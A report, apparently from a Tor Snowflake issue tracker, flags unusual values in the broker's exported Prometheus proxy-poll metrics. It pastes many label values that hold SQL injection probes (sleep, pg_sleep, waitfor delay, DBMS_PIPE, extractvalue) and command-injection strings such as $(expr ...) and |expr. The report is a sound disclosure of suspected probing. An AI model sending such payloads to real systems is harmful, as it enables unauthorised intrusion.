Possibly malicious snowflake polls?
I just took a look at the exported prometheus metrics: https://snowflake-broker.torproject.net/prometheus
and saw a bunch of very unusual snowflake proxy types:
snowflake_rounded_proxy_poll_total{nat="restricted'\"\\(",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="restricted'/**/and(select'1'from/**/pg_sleep(0))>'0",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="restricted'/**/and(select'1'from/**/pg_sleep(18))>'0",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="restricted'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('p',18)='p",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="restricted'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',0)='q",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="restricted'and(select'1'from/**/cast(md5(1634804485)as/**/int))>'0",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="restricted'and(select*from(select+sleep(0))a/**/union/**/select+1)='",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="restricted'and(select*from(select+sleep(18))a/**/union/**/select+1)='",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="restricted'and(select+1)>0waitfor/**/delay'0:0:0",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="restricted'and(select+1)>0waitfor/**/delay'0:0:18",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="restricted'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1720393988')))>'0",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="restricted'and/**/extractvalue(1,concat(char(126),md5(1199007671)))and'",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="restricted/**/and/**/cast(md5('1204196037')as/**/int)>0",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="restricted|expr 809667990 + 908363838 ",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="restricted鎈'\"\\(",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown",status="idle"} 2.9086904e+07
snowflake_rounded_proxy_poll_total{nat="unknown",status="matched"} 2.757224e+06
snowflake_rounded_proxy_poll_total{nat="unknown\nexpr 965825977 + 974216935\n",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="unknown\"and(select*from(select+sleep(0))a/**/union/**/select+1)=\"",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="unknown\"and(select*from(select+sleep(14))a/**/union/**/select+1)=\"",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown\"and/**/extractvalue(1,concat(char(126),md5(1145896139)))and\"",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="unknown$(expr 898219840 + 955106000)",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown&set /A 859877269+929132787",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'\"\\(",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'/**/and(select'1'from/**/pg_sleep(0))>'0",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'/**/and(select'1'from/**/pg_sleep(14))>'0",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('f',0)='f",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('u',14)='u",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'and(select'1'from/**/cast(md5(1946869959)as/**/int))>'0",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'and(select*from(select+sleep(0))a/**/union/**/select+1)='",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'and(select*from(select+sleep(14))a/**/union/**/select+1)='",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'and(select+1)>0waitfor/**/delay'0:0:0",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'and(select+1)>0waitfor/**/delay'0:0:14",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1587856848')))>'0",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown'and/**/extractvalue(1,concat(char(126),md5(1875029567)))and'",status="idle"} 8
snowflake_rounded_proxy_poll_total{nat="unknown/**/and/**/cast(md5('1500206875')as/**/int)>0",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown|expr 881080391 + 963149055 ",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unknown鎈'\"\\(",status="matched"} 8
snowflake_rounded_proxy_poll_total{nat="unrestricted",status="idle"} 1.801232e+06
snowflake_rounded_proxy_poll_total{nat="unrestricted",status="matched"} 7.7092e+06I'm keeping this confidential for now in case this is a security vulnerability being actively exploited.